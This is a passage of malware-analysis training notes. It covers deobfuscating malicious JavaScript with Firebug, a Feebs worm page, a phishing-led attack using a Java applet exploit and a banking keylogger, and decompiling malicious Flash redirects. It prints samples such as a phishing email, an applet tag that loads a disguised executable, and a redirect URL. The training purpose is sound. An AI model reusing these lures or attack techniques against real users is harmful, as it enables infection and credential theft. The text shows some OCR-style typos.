Below the definition of the "\texttt{arr}" variable, is a script that processes this variable's contents by iterating through the "\texttt{arr}" though the use of the "\texttt{while}" loop. The deobfuscated script is saved into the variable "\texttt{txt}" and is executed using the "\texttt{eval (txt)};" statement. When the malicious page is loaded into the victim's browser, the browser goes through this process behind the scenes, so functionally this script behaves just like the original script. Yet, by simply looking at its source code, the analyst will have a hard time deciphering the purpose and mechanics of the original script.

Notice that this process is very similar to what a packed Windows executable would go through, if it was protected using a traditional packer.

The script in this example is located on your DVD in \texttt{Malware\day2\script.zip}. It is also present on your REMmux virtual machine in \texttt{~remmux/malware/day2/script.zip}.
One Approach is to Edit the Script

```
function markCounter(a) {
    var txt = ""; var c = 0;
    while (c < a.length) (txt += String.fromCharCode(table[a[c]]*16+table[a[c+1]]); c++);
    document.write("<textarea rows=50 cols=60>");
    document.write(txt);
    document.write("</textarea>");
    // eval(txt);
}
```

"txt" contains the dynamically generated script

An approach to stripping away the script's protection is to allow the browser to run through the deobfuscation commands, but then print contents of the decoded script, instead of executing them. In this example, the deobfuscated script will reside in the "txt" variable, so that is the variable we want to look at.

One way to accomplish this involves saving the malicious page locally, then editing it to print contents of the variable using "document.write(txt)". By printing contents of the variable into the page like this, we would still present the script to the browser in a way that the browser would execute it. To prevent execution, we enclose contents of the "txt" variable inside "textarea" HTML tags. The browser simply prints text surrounded by these tags, instead of treating the text as a script.

As you can see in the example on this slide, commented out the original program's "eval(txt)" statement, by placing "/*" in front of it, to prevent that statement from being reached. We could also removed the "eval(txt)" statement altogether.

If you wish to edit script.html for this example on REMmux, you can use the xedit graphical editor by changing into the ~remmux/malware/day2 directory and typing "xedit script.html". Don't forget to save your changes!
Once you've modified the malicious script, you can load it into the browser. If scripting support is enabled, the browser will automatically execute the deobfuscation script, and then print the output to the screen within the "textarea" tags we defined on the previous slide. This allows you to examine the original script to understand its purpose.

If you disabled support for scripting in your browser, you'll need to enable it to allow the deobfuscating script to execute. The NoScript add-on for Firefox, available from http://noscript.net, provides a convenient way to control scripting support without having to dig deep inside the browser's menus. Simply click on the "S" icon at the bottom right corner of Firefox and select "Temporarily allow file:///" in the menu that pops up.

Be careful not to click the "Allow file:///" option instead, so that you don't permanently enable scripting. Enabling scripting permanently will make it difficult for us to perform JavaScript analysis using techniques discussed in the upcoming slides.

An attack against this method is to close the textarea tag preemptively within the obfuscated script by adding "</textarea>" to the beginning of the script. This will cause the browser to close the textarea box and continue with JavaScript interpretation.
Firebug a Powerful Alternative

- Firebug is a Firefox extension
- Set a breakpoint on the appropriate line of JavaScript
- Use the NoScript extension to disable scripting until you set breakpoints
- Use Firebug to look at variables

The "textarea" method is simple and often effective. One of the key problems with it, though, is that malware authors have began to preemptively embed a closing "</textarea>" tag, just in case analyst tries to use this approach. This way, when we print the deobfuscated script to the browser's window, the first thing it will do will be to close our "<textarea>" tag, and continue executing normally. Very sneaky!

A powerful alternative approach is to use a JavaScript debugger, in a way similar to how we used OllyDbg to bypass protection offered by a traditional debugger. The debugger we will use for this purpose is Firebug, which is available as a free add-on for Firefox from http://getfirebug.com/

We will use Firebug to set a breakpoint shortly after the malicious script deobfuscates its original instructions. We will then use Firebug to look at contents of the variable that stores the deobfuscated script.

We will rely on the NoScript extension to disable scripting until we've had a chance to set Firebug breakpoints.
We will start by loading the unedited version of the malicious script into Firefox. To do this, change into the directory that contains the script archive file:

```
remnux@remnux:~$ cd ~/malware/day2
```

Then extract the malicious script. When prompted for password, enter “malware”:

```
remnux@remnux:~$/malware/day2$ unzip script.zip
```

Then load the script file into Firefox:

```
remnux@remnux:~/malware/day2$ firefox script.html &
```

Since NoScript is installed, scripting should be disabled. As a result, the browser will display static HTML contents of the malicious page, but will not run the malicious script.
Activate the Firebug Debugger

1. Right-click the bug icon and click "Enable All Panels"
2. Hit F12
3. Press "Deactivate"
4. Hit F12

By default, Firebug disables some panels of the interface so as not to slow down the user's browsing experience unnecessarily. To make sure all Firebug panels are enabled, right-click the bug icon in the lower right corner of Firefox and select "Enable All Panels". Firebug will remember this setting, so you won't need to do this again.

Then, press F12 to bring up the Firebug interface if it is not already on your screen. To enable Firebug for the script you just loaded into Firefox, click the "Deactivate" button on the right side of the browser. This will also close the Firebug interface. Press F12 to bring Firebug up again.
Click the Script tab to see the malicious script. Then scroll down to locate the line where you want to set the breakpoint.

You want to set the breakpoint right after the deobfuscating script decodes the original script. This is often immediately before the command that invokes the deobfuscated script. In this case, the page deobfuscates the script, saves it into the variable named “\texttt{txt}”, then transfers control to the decoded script via the “\texttt{eval(txt)};” command. That’s where you want to set the breakpoint, so that you can use Firebug to look at contents of the script that “\texttt{eval}” would execute.

To set the breakpoint, visually locate the desired line, then right-click there, and select “Set breakpoint” on the menu that pops up. Alternatively, you can left-click on the margin next to the line where you want to set the breakpoint.
Once you've set the breakpoint, activate scripting by clicking the "S" button at the bottom right corner of Firefox, then selecting "Temporarily allow file://" in the NoScript menu that pops up.
The browser will execute the deobfuscating script, and will reach your breakpoint almost immediately. Firebug shows contents of the defined variables on the right of its window. To view contents of the “txt” variable, click on the “Console” tab of Firebug. Then, type the following at the bottom of the window, to the right of the “>>>” prompt:

```javascript
console.log(txt)
```

Now you can examine the deobfuscated script to understand what it does. In this example, the script seems to look at the referrer field to determine where to redirect the victim.
Let's look at another example. It was submitted to SANS Internet Storm Center (ISC) by Charles Hamby. You will find this malicious page on your course DVD in 'Malware\day2\data.zip'. The file is also located on your copy of REMnux in ~/remnux/malware/day2/data.zip.

We'll start by loading the malicious script into a text editor. (The preferred editor on REMnux is SciTE; you can invoke it as "scite" or by its alias "notepad"). Change into the directory that contains the script archive file (if you're not already there):

```bash
remnux@remnux:~$ cd ~/malware/day2
```

Then extract the malicious script. When prompted for password, enter "malware":

```bash
remnux@remnux:~/malware/day2$ unzip data.zip
```

Then load the script file into the text editor:

```bash
remnux@remnux:~/malware/day2$ notepad data.html
```

As you can see on this slide, there are several instances of strings that scum to have encoded content—some stored in variables, some passed as parameters to functions. When you begin analyzing a file like this, look for the commands that transfer control to the original script. These commands are typically "eval" (as we discussed recently) or "document.write" (as we will see shortly).
In this example, the malicious page invokes the deobfuscated script via "eval (mdr) ;". This suggests that the deobfuscated script will be stored in the "mdr" variable. That's where we would want to set the breakpoint, so we can use the debugger to examine contents of "mdr".

The easiest way to locate "eval" in the page using the SciTE text editor is, perhaps, by pressing Ctrl+F to bring up its “Find” dialog box.

A limitation of many JavaScript debuggers, including Firebug, is that they can only set a breakpoint on per-line basis. They cannot break on an instruction in the middle of the line. In fact, Firebug prefers to have the instruction where you want to set the breakpoint on a line by itself. Therefore, you need to edit the local copy of the page, inserting a newline immediately before and after "eval (mdr) ;".

Don't forget to save the modified page by pressing Ctrl+S in SciTE or by clicking the “Save” button on the SciTE toolbar that looks like a floppy disk.
Setting the Breakpoint in data.html

• Hit F12 to bring up Firebug
• Click the "Script" tab
• If no script visible, press "Off", then hit F12

Once you've edited the page to include a newline before the command where you'd like to set the breakpoint, load the modified page into Firefox by typing:

```
remmux@remmux:~/malware/day2$ firefox data.html &
```

Scripting should be disabled by default, giving you an opportunity to launch Firebug (F12). Then, click the "Script" tab and scroll down to "eval (mdr) i". Right-click on that line and select "Set Breakpoint" to set a breakpoint there.

If you don't see a script in the "Script" tab, you may need to activate Firebug for this page. To do so, click the "Off" button on the right side of the Firebug toolbar, then hit F12 to bring up Firebug again.
Use NoScript to temporarily allow scripting. You can do this by clicking on the “S” icon at the bottom right corner of Firefox and selecting “Temporarily allow file:”

After the breakpoint has been reached, you can see the variable’s value by going to the Console tab and typing “console.log(mdr)”. 

As you can see, the “mdr” variable contains a script that’s also obfuscated. After it will be decoded, the deobfuscated script will be placed in the variable “q”, and the script will be executed via the command “document.write(q)”. 

Select contents of the “mdr” variable you just displayed on the console (up to, but not including the string “undefined”). Copy it to the clipboard by pressing Ctrl+C or by using the Edit > Copy menu.
Deobfuscating the Function Stored in the "mdr" Variable

- Variable "mdr" contains an obfuscated function.
- Replace "eval(mdr)" with copied contents of the "mdr" variable.
- Add a newline for the breakpoint.
- Save and execute the revised script in Firebug.

As you can see in the notes for the previous slide, contents of the "mdr" variable contain another obfuscated script! Don't worry. We need to repeat our step to get past that layer of obfuscation, but our approach remains the same.

To proceed, copy contents of the "mdr" variable to the clipboard, then paste them instead of the "eval(mdr);" command in the original script. Once you save the revised page, you will load it into Firefox, set a breakpoint, and examine contents of the variable that contains the next script that's being concealed.

Do not forget to add a newline before the line where you want to be able to set a breakpoint, at the point where control is transferred to the deobfuscated script. You already know that "eval" is one way in which this can be done. The other way is to use the similar "document.write" instruction. That's the one we have in this example—the instruction is "document.write(q);" After decoding the script that resided in "mdr", the script saves it into the "q" variable, then executes it. That's where we will want to set a breakpoint.
Go to the SciTE text editor. Load data.html into it, if it's not already open. Remove the "eval(mdr);" line and replace it with the obfuscated function you copied from Firebug. Don't forget to save (Ctrl+S).

This slide shows the function stored in the "mdr" variable. This is what we replaced "eval(mdr);" with. Note that we've also added a newline before the command "document.write(q)", anticipating the need to set a breakpoint there.

Exit Firefox to make sure its scripting support is disabled for our new experiment. Then, load the modified page into Firefox by typing:

remnux@remnux:~/malware/day2$ firefox data.html &

Click the "Script" tab and scroll down to "document.write(q)". Right-click on that line and select "Set Breakpoint" to set a breakpoint there.

If you don't see a script in the "Script" tab, you may need to activate Firebug for this page. To do so, click the "Off" button on the right side of the Firebug toolbar, then hit F12 to bring up Firebug again.
Use NoScript to temporarily allow scripting. You can do this by clicking on the "S" icon at the bottom right corner of Firefox and selecting "Temporarily allow file://".

After the breakpoint has been reached, you can see the variable's value by going to the Console tab and typing "console.log(q)".
The Deobfuscated Script

On this slide you can see a portion of the script concealed in this page by two layers of obfuscation. It is a combination of JavaScript and VBScript instructions, referencing several third-party websites and attempting to install a local executable into C:\Recycled\userinfo.exe. This page was emailed to users, and in many cases would execute in Internet Explorer with Local zone privileges at the time, allowing the script to use ActiveX to install the malicious program.
This was a Feebs Worm Variant

- E-mailed in a zipped attachment.
- Downloaded exe's from websites.
- One variant created a malicious file as C:\Recycler\userinit.exe.
- Acted as spyware.

The script we just analyzed was designed to distribute a variant of the Feebs worm, whose userinit.exe components contained spyware functionality. For additional information about this attack, take a look at the following sites:

http://isc.sans.org/diary.php?storyid=1035
http://www.sarc.com/avcenter/venc/data/w32.feebs.d@mm.html
Let's go over another example that involves browser-based malware. The focus of this scenario is to show you a typical multi-stage attack you're likely to encounter:

In this scenario, a victim is contacted directly or indirectly via e-mail, a web forum posting, a blog, and so on. The user clicks on a link or inadvertently gets his browser to execute a malicious script. The script launches one or more exploits to take advantage of an unpatched vulnerability in the victim's browser or a browser add-on. This leads to a full executable being installed on the victim's machine. Game over.

You can find malicious files used in this example on the course DVD in the `\Malware\day2\multi-stage.zip` file.
Initial Attack Vector: E-mail

To: victim@example.com
Subject: Police investigation

It has come to my attention that you are being under the police investigation.
Is that true? Have you really committed such crimes?

Please read the following article located at:
http://federalpolice.com:article87251075686747

or at:
http://0100.035.0233.0133

Sincerely,
Your old friend

This particular example begins with the e-mail message that you see on this slide. The note encourages the recipient to read an article on the "federalpolice.com" site that, supposedly, details the person's role in an ongoing police investigation.

As mindful security professionals, you probably recognize that the recipient is being directed to a site that has nothing to do with "federalpolice.com". You're right: this is an attempt to lure the potential victim to a malicious site, where bad things are bound to happen.

How would you assess the threat level and capabilities of this attack if one of the users in your organization brought this e-mail message to your attention?
Analyzing the Incident

- You can use www.netdemon.net or www.dnsstuff.com to decode URLs
- Both URLs in the e-mail message point to the same IP address
- Download files from the URL from VMware using a text browser (wget)

If your analysis leads you to obfuscated URLs such as those mentioned on the previous slide, I suggest you turn to on-line URL deciphering tools, available for free at sites such as http://www.netdemon.net or http://www.dnsstuff.com. Such sites would tell you that both of the URLs in the "police investigation" message are simply unusual ways of representing 64.29.173.91.

Once you know what site the attacker expects the victim to visit, you can go to the expected URL and download the necessary pages from the malicious site. I suggest doing this using the wget tool that I mentioned earlier in this section.
Decoding the URL

http://federalpolice.com:article872@1075686747

Protocol: http
Username: federalpolice.com
Password: article872
Host: 64.29.173.91
Path: /

The on-line tool at www.netdemon.net decoded the URL "http://federalpolice.com:article872@1075686747" in the following manner:

Protocol: http
Username: federalpolice.com
Password: article872
Host: 64.29.173.91
Path: /
Malicious Website

- The victim is directed to the malicious website
- The javaultool.zip file is a Windows executable with a renamed extension

```html
<APPLET ARCHIVE="javaultool.zip"
CODE=BlackBox.class"
WIDTH=1 HEIGHT=1"></APPLET>
</BODY></HTML>
```

This is how Java applets are invoked

By clicking on one of the links in the attacker's e-mail message, the victim was taken to the page whose source code I presented on this slide. The site is designed to look like an error message, so that a na"ive visitor would be less likely to feel suspicious. The examination of the page's HTML code and related files, though, would give a reason to be concerned.

The "APPLET" tag that is included in this page is typical for the way Java applets are embedded in web pages. Such applets run within a tight security sandbox that's enforced by the Java Virtual Machine (JVM). Applets allow the site's developer to run interactive programs on the web site, and typically implement page components such as scrolling news banners or navigation menus. Java applets, like all Java programs, are transformed from the original source code to bytecode instructions that the JVM can execute.

If a browser followed applet-related directives included in this page, it would download a collection of files related to the applet and located on the malicious site in the javaultool.zip archive. The browser would then execute the Java applet class named BlackBox.class that would typically exist in that archive.

In this case, however, javaultool.zip was not a zip archive—it was actually a Windows executable with a renamed extension.
BlackBox.class Functionality

- Attempts to execute javaultil.zip on the victim's machine
- Exploits a vulnerability in Microsoft VM bytecode verifier
- Based on proof of concept code published on securityfocus.com
- Doesn't quite work in this incarnation

BlackBox.class is a Java applet that attempts to exploit a vulnerability in Microsoft virtual machine's bytecode verifier. An exploit that targeted this vulnerability was available on the Web for some time. You could learn about it by searching the Web for "BlackBox.class", which would lead you to the following pages:


BlackBox.class was based on exploit code published on www.securityfocus.com, and attempted to execute the accompanying javaultil.zip program on the victim's machine. Fortunately for the victim, the implementation of this BlackBox.class turned out to be incomplete, and didn't accomplish its stated goal.
javutil.zip Functionality

- javutil.zip is compressed with the FSG packer
- Can be unpacked (more or less) with un-FSG, an FSG unpacker

What was the attacker trying to accomplish by attempting to launch the javutil.zip program on the victim's system? Let's take a look at this file which, as I stated earlier, is just a renamed Windows executable.

Looking at the strings embedded into javutil.zip would lead you to surmise that it was protected by a packer, since very few strings were actually visible. If you didn't recognize the packing mechanism, you could try several auto-unpackers to discover that this program was protected using the FSG packer.

For instance, you may find a program for removing FSG protection, as was the case when I was performing this analysis. The tool was named un-FSG.

You can see the workings of un-FSG on the screenshot on this slide, which illustrates the process I went through to unpack the javutil.zip executable.
javault.zip Functionality

- Copied itself as javault.exe to the Windows directory
- Created a registry entry to activate itself when the victim logs in
- Extracted HookerDll.Dll into the Windows directory

Once javault.zip is unpacked, the job of reverse-engineering its functionality becomes much easier. You can use behavioral and code analysis techniques to determine that this program copies itself to the victim's Windows directory and creates a registry entry to ensure that it launches whenever the victim logs on to the system.

The malicious executable also extracts a file that it names HookerDll.Dll, which it places into the Windows directory. What could this file be used for?
HookerDII.DII Functionality

- Captured keystrokes when the victim conducts banking transactions
- Saved captured data to a local text file named kgn.txt
- E-mailed the file to a mail.ru address

HookerDII.DII is a key logger. It captures keystrokes types on the infected system, but there's a twist: it only records those keystrokes that were entered when the victim conducts banking transactions. This specimen accomplishes such selective logging by only capturing data that is entered into a window whose name matches a long list of banking institutions, which is embedded into HookerDII.DII. The program saves captured data to a local text file named kgn.txt, and periodically e-mails this file to a mail.ru address.

McAfee anti-virus software recognizes HookerDII.DII as “Keylog-Stawin”. More information about it is available at the following URL:
http://us.mcafee.com/virusinfo/default.asp?id=description&virus_k=100985
Let's summarize what we've covered in this section so far. After going over last section's exercises we looked at techniques for patching malicious executables. We then turned our attention to browser-based malware, learning how to examine such specimens in a controlled manner. We looked at Script Decoder, which allowed us to deobfuscate malicious scripts protected by Windows Script Encoder. We also covered several techniques for de-obfuscating malicious JavaScript code. In the process of going over several examples of malicious sites, we learned how to analyze multi-stage browser-based attacks and exploits.
Let's take a look at the approaches for analyzing Flash-based malware next.
The next topic we will cover in this section deals with analyzing malicious Flash programs, which are typically created to run within the victim's browser. Knowing how to reverse-engineering such programs is becoming increasingly important for a malware analyst.
The Attractiveness of Flash SWF Files for Attackers

- Flash Player is almost everywhere and supports powerful coding.
- To run a SWF in the victim's browser:
  - Buy Flash banner ads on popular sites
  - Inject links to SWF files via SQL injection or XSS
  - Ask users to click on a link to a SWF file
  - E-mail SWF file as attachment

Flash Player, which is able to play rich media content within most modern browsers, is as ubiquitous as the browser itself. Furthermore, Flash Player supports a powerful multi-platform scripting engine (even more than one!). As a result, writing malicious programs is attractive to many attackers: they can target many potential victims, and have the ability to implement complex logic via their creations.

A flash program typically has the .swf extension and is called a SWF program. (SWF program stands for “Shockwave Flash.”)

One of the most effective ways of reaching a broad population of users is the banner ad. Attackers have been known to pay for an advertisement campaign, supply a malicious flash ad (“malvertisement”), and rely on the legitimate ad delivery platform to place the ad on the victims' browser screens. Such banner ads may stay dormant for days or weeks before their malicious payloads get activated.

Another manner of making use of malicious involve injecting links to malicious SWF files into vulnerable websites via techniques such as SQL injection and cross-site scripting (XSS). Another attack vector is an e-mail message with a link to the malicious SWF file, which entices the victim to click on the links. Malicious SWF files are also sometimes distributed as e-mail attachments, and have been seen within zip archive files.
Capabilities of Malicious Flash SWF Files

- Control some aspects of victims' environment
- Redirect victims to malicious sites
- Target Flash Player vulnerabilities for privilege escalation

The scripting support of Flash is quite powerful, allowing a malicious program to perform many actions. Some of the actions are limited by the restrictions imposed by the Flash Player sandbox, and often take the form of browser redirects to malicious websites. Flash-based redirects can make use of complex redirection logic that is currently harder for analysts to understand than JavaScript-based redirects. Sandboxed Flash programs can also control some aspects of victims' environment, such as contents of the clipboard.

Perhaps most dangerously, a malicious Flash program can target vulnerabilities within the Flash player to bypass its sandbox and gain full access to the underlying operating system. Such vulnerabilities have existed, and have been actively exploited by attackers.
Example: A Plain Redirect

To: victim@example.com
Subject: kak Dela?

Mom p0pyru!

http://victim@example.com

To: victim@example.com
Subject: what's up?

My girlfriends!

http://img361.imageshack.us/img361/7064/zoxdgesyj6.swf

Click

To learn how to analyze malicious Flash programs, let's start with the example. In this case, the SWF file was hosted on ImageShack via ImageShack allows anyone to upload a PNG, PNG, GIF, BMP, or TIFF file, which the site will host for free. It will also host a SWF file for a small fee.

The victim received a link to the file, in an e-mail message written in Russian, though you can see the translated version of the message on the slide. Similar messages have been reported on several sites, and sometimes took the form of blog comment or forum postings.

Individuals who clicked on a link complained of being redirected to an adult website.

The Russian text for the example on this slide was described at:

Also similar examples were reported at:
http://www.nabble.com/kak-Dela--td19117098.html and
http://www.bluetack.co.uk/forums/topic/index.php/t19059.html

This specimen is located on your course DVD in Malware\day2\zoxdgesyj6.zip. It's also on your REMNux system in -remnux\malware\day2\zoxdgesyj6.zip.
How to Approach Flash Program Analysis?

- Employ behavioral techniques relevant to analyzing Web malware
- Code analysis can be challenging
  - Cannot natively load a SWF file into a traditional debugger/disassembler
  - Need another set of analysis tools
  - Existing tools not very mature

How can we reverse-engineer the malicious Flash program mentioned on the previous slide? One approach entails behavioral analysis, where we would attempt observing the SWF file interacting with its environment to understand its capabilities. It's a good technique; however, by now you understand its limitations. To better understand what the program's nature, we need to be able to perform code-level analysis as well.

The challenge of analyzing a Flash program's code is that it's not compiled to assembly instructions, the way a standard executable is. Instead, a SWF file follows a very different format, and includes Flash bytecode that traditional disassemblers and debuggers cannot understand.

We need to identify and master another set of tools for dealing with malicious SWF files. Unfortunately for us, these tools tend to be less mature than what we can find in the traditional x86 world.
Extract Data from SWF Files Using SWFTools swfextract.

Data, such as pictures, might be embedded in the SWF file, but might never be displayed. They could be artifacts of the original SWF file (e.g., a banner ad, that was modified by the malware author. Or they could be present for use in other ad or infection campaigns. It's helpful to identify and extract them, so we can better understand the malicious campaign.

My favorite tool for extracting object from SWF files is swfextract, which is part of the SWFTools toolkit. You can download SWFTools from http://www.swftools.org for free. A copy of it is also on the CD you received for this course.

Swfextract is a command-line tool. To use it, first run it without any options, simply supplying to it the name of the SWF file you want it to examine. In return, swfextract will list all the objects in that file, as well as the options you need to supply to it to extract these objects. For instance, in the example on this slide, you need to use "-p" to extract the embedded PNG file. When extracting the object, you also need to specify its ID, as listed by the initial output of swfextract.

So, to extract the PNG file, you need to use "swfextract -p 2 zoxdgeyaj6.swn" in this case. This will produce the file named output.png. To view the image file on REMnux, you can use the image viewer called feh.

143
Extract and Decompile Scripts from SWF Files Using Flare.

```
remux@remux:~/malware/day25 flare zoxdgeyzn6.swf
remux@remux:~/malware/day25 cat zoxdgeyzn6.fir
movie 'zoxdgeyzn6.swf' {
    // Flash 6, total frames: 136, frame rate: 12 fps, lxi px, compressed
    // unknown tag 88 length 70

    frame 15 {
        getURL("http://moyapodruzhka.com/?mid=44&sid=44"');
    }
}
remux@remux:~/malware/day25
```

The most useful aspect of the SWF file, from the analyst's perspective, is probably the scripts embedded into the program. One way to extract them is to use a free multi-platform SWF decompiler called Flare, which you can download from http://www.nowrap.de/flare.html. It's also installed on REMmax.

When you run `flare` from the command line, it will generate a `.fir` text file containing decompiled scripts from the Flash program.

Flare extracts scripts from the SWF file, and attempts to decompile them to produce output that resembles the original source code of the program. (In contrast, a disassembler would produce bytecode instructions specific to a Flash virtual machine, similarly to how the IDA Pro disassembler can produce assembly instructions specific to the x86 CPU.)

The biggest limitation of Flare is that it only supports the older version of ActiveScript, and does not support ActionScript 3. More on that in a few slides.

In our example, Flare was able to disassemble the SWF file. As we can see on the slide, the program redirects the victim's browser to the "moyapodruzhka.com" site via the `getURL()` function.
This is what the redirector's destination looked like. It was branded as RusCams.com, and had the tag line that translates to "No to porno—yes to erotic!"
Decompress SWF Contents with Flasm

Header begins with F W C (compressed) or F W S (not compressed)

```
rename@remux:~/malware/day25 flasm -x z0x3dgeysjn6.swf
z0x3dgeysjn6.swf successfully decompressed, 6189 bytes
rename@remux:~/malware/day25 strings z0x3dgeysjn6.swf | tail -4
rHaGFk

http://moyapodruzhka.com/?uid=44&sid=44
redirect
rename@remux:~/malware/day25
```

*Flasm* is a command-line SWF disassembler, for Unix and Windows. It aims at showing bytecode of SWF scripts, in contrast to *Flare*, which attempts at recreating the original ActionScript source code. You can download *Flasm* from [http://www.nowrap.de/flasm.html](http://www.nowrap.de/flasm.html). It's also installed on REMux.

One of my favorite features of *Flasm* is its ability to quickly and easily decompress SWF files via its `-x` parameter. It will decompress the file you supply on the command-line, saving the original files by assigning it the `.swf` extension.

SWF files version 6 or later can be compressed using the ZLIB algorithm to make them smaller and, therefore, more portable. Not surprisingly, malicious SWF files are often compressed.

If the SWF file is compressed, you will usually need to decompress it to see embedded strings with a tool such as BinText. The SWFTools toolkit includes a tool called `swfstrings`, which extracts text from SWF files. However, this tool is very limited for our purposes, as it will usually not extract every string you would see if you looked at the SWF file with `swfdump` or by decompressing the file with Flasm and extracting strings with the `strings` utility.
Marian Radu's SWF Plug-ins for IDA Pro (1)

- Parse SWF files and disassemble ActionScript 1 and 2
- Lack support for ActionScript 3
- Require commercial version of IDA Pro

A relatively recent option for disassembling SWF files comes in the form of two free plug-ins for IDA Pro, which were written by Marian Radu. According to the author, the plug-ins allow IDA Pro "to parse SWF files, load all SWF tags as segments for fast search and retrieval, parse all tags that can potentially contain ActionScript2 code, discover all such code (a dedicated processor module has been written for it) and even name the event functions according to event handled in it (e.g., OnInitialize)."

To use the plug-ins, you need to have a commercial version of IDA Pro (neither freeware, nor trial versions will work for this purpose).

You can download the SWF plug-ins from the following link:
http://www.hex-rays.com/contest2009/#2

The biggest limitation of these plug-in is that they don't support the most recent version of ActionScript—version 3. Another limitation is that you need to decompress the SWF file (see previous slide) before loading it into IDA Pro.

Thanks to the course alumni, Anthony Lai, contributing his thoughts on the plug-ins to this and the following slide, and for taking the screenshots you see here.
Marian Radu's SWF Plug-ins for IDA Pro (2)

If you have decompressed zoxdgeysin6.swf file and opened it with IDA Pro, corresponding p-code (i.e. disassembled bytecode in Flash) would be shown.

You could find that there is a “geturl” function with the URI (http://moyapodruzhka.com/?wmid=44&sid=44) at the DoAction tag located at offset 000016F2. This is the redirection code.

This is a nice tool for reviewing ActionScript 1 and 2; however, there are better tools we can use that also understand ActionScript 3. We'll discuss these tools shortly.
Structure of a SWF File

- Header: version, length, frame info, etc.
- Additional details in FileAttributes tag
- Definition and control tags, recognized by a tag type number, e.g. in decimal:
  - 1: ShowFrame (displays current frame)
  - 12: DoAction (defines ActionScript 1 or 2)
  - 82: DoABC (defines ActionScript 3)

To analyze malicious Flash programs that are more complex than the example we just covered, we need to understand the structure of a SWF file.

The beginning of a SWF file is marked by the header, which includes details such as the version of the Flash Player the program is designed for, the file's length, and frame rate information. The header is followed by the FileAttributes tag, which is required for SWF 8 and later, but may be optionally included in earlier versions. This is relevant for our purposes, because if the FileAttributes tag includes the ActionScript3 attribute that is set to 1, Flash Player will ignore contents of the DoAction tag, which is used for older versions of ActionScript.

A SWF file can contain two type of tags. Definition tags declare objects, also known as characters, such as fonts, geometric forms, or images. Control tags manipulate these objects.

For scripting support that we are usually concerned about, a SWF file includes two tags: DoAction and DoABC. The DoAction action requires the field named Actions, which defines a block of bytecode to be parsed by the ActionScript Virtual Machine 1; it supports ActionScript versions 1 and 2. The DoABC action requires the field named ABCData, which defines a block of bytecode to be parsed by the ActionScript Virtual Machine 2; it supports ActionScript versions 3.
It's useful to understand the nature of scripting that Flash programs support, and the differences between older and newer versions of ActionScript, because SWF analysis tools often can handle one scripting version, but not the other.

Until version 4 of Flash, supported actions were limited to geometric object manipulations, animation controls, and some keyboard and mouse events. However, as Flash matured, it began supporting an increasingly powerful set of instructions.

Flash 5 introduced a JavaScript-like language called ActionScript (version 1). Slightly different scripting syntax was introduced in Flash 7, and was called ActionScript 2. Both ActionScript 1 and 2 actually compiled to the same set of bytecode instructions, and could be executed by the same virtual machine that was part of Flash Player.

Flash Player 9 introduced support for ActionScript 3, which uses a different syntax for its high-level programming language, and a different set of bytecode instructions. This required the release of a brand new virtual machine. For backwards compatibility, Flash Player 9 and higher ships with two virtual machines: one for ActionScript 1 and 2, and the other for ActionScript 3.
Another Example: Clipboard Hijack to Distribute Malicious URL.

- Clipboard persistently contains an unfamiliar URL.
- Adding new content to the clipboard seems to have no effect.

---

It’s time for another example. This specimen is located on your course DVD in `\Malware\day2\clipboard-poc.zip`. It’s also on your REMnux system in `~remnux/malware/day2/clipboard-poc.zip`.

In August 2008, a number of people reported that their computer’s clipboard seemed possessed. No matter what the attempted to copy and paste, the result was always a URL that seemed to point to a suspicious website: http://windowsxp-privacy.net. A user on a discussion form reported the following:

“I’m only going to websites that are directly linked off the main page of digg.com, so they’re not obscure, and I’m surfing in firefox, though the system wide clipboard is getting taken over, so I can’t even copy something over that from a program like TextEdit.”
(http://discussions.apple.com/thread.jspa?messageID=7768848)

Subsequent analysis pointed to the likely explanation: The clipboard was “hijacked” by the code built into the malicious Flash ad, that looked like the one on this slide. It was in effect as long as the victim’s browser was displaying the ad in one of its tabs or Windows. Its author was probably counting on some of the victims to blindly paste the URL into e-mail messages and instant messenger conversations without looking at what they were pasting. This incident is described in these articles:

http://blogs.zdnet.com/security/?p=1733
http://www.theregister.co.uk/2008/08/15/webbased_clipboard_hijacking/
Disassemble ActionScript 1, 2, and 3 with SWFTools swfdump

remux@remux:~/malware/day25 unzip clipboard-poc.zip
Archive: clipboard-poc.zip
[clipboard-poc.zip] clipboard-poc.swf password:
extracting: clipboard-poc.swf
remux@remux:~/malware/day25 swfdump -Ddu clipboard-poc.swf >
clipboard-poc.txt
remux@remux:~/malware/day25 notepad clipboard-poc.txt &
[1] 1722
remux@remux:~/malware/day25

I wasn't able to find a copy of the original malicious ad circulating in the wild. However, we can understand how it worked by examining a very similar proof-of-concept Flash program created by Aviv Raff. I retrieved from http://raffon.net/research/flash/cb/test.html.

If you try to decompile clipboard-poc.swf with Flare, you won't get anything useful. That's because Flare cannot analyze ActionScript 3. The tool we can try is swfdump. Swfdump is an excellent tool, particularly because it can decompile AVM1 (ActionScript 1 and 2) and AVM2 bytecode (ActionScript 3), and because of the many details it can present about the SWF file. Unlike a decompiler, it cannot recreate the original ActionScript source code, though. Swfdump is part of the free SWFTools package that also includes swfextract, which we mentioned earlier.

The parameters "-Ddu" are the ones you will usually want to use:

- "-D" is a shorthand for "-atp". "-a" tells the tool to decompile action tags. "-t" tells the tool to show text. "-p" tells it to show placement information.
- "-d" tells the tool to print hexadecimal output of the tag data.
- "-u" tells the tool to print tag IDs.
Contents of a SWF File: ActionScript 2

When analyzing malicious SWF files, you will often find yourself looking at code embedded into the program. With a hex editor, you would be able to see the hexadecimal representation of the instructions that a Flash player's virtual machine could interpret. A Flash disassembler, such as Flasher, can take those values, known as bytecode, and translate them into assembly-like instructions called p-code. These are much easier for a human being to understand.

In most cases, the author of the Flash program did not write it in p-code. Rather, he or she writes it in the high-level programming/scripting language ActionScript. A Flash decompiler, such as Flare, aims at producing such output by looking at the SWF file's bytecode.

The example on this slide is a very simple program that displays the message "Hello World". It is written in version 2 of ActionScript, and I took this example from the Wikipedia article at http://en.wikipedia.org/wiki/ActionScript.

When the program's author writes the program in action script, his compiler, such as Adobe Flash CS, translates it via a series of steps to bytecode that the user's Flash player can execute. In the case of this example, the code would be executed by Flash Player's ActionScript Virtual Machine 1 (AVM1), which knows how to execute ActionScript 1 and 2 bytecode. (While ActionScript 1 and 2 differ a bit in their high-level language syntax, they actually produce the same bytecode.)
Contents of a SWF File: ActionScript 3

```
import flash.text.TextField;

var txtHello:TextField = new TextField();

txtHello.text = "Hello World";
addChild(txtHello);
```

To AS3 p-code

```
d0 30 20 80 05 d5 05 05 4a
05 00 80 05 d5 12 0b 61
06 5d 07 d1 4f 07 01 47
```

To bytecode

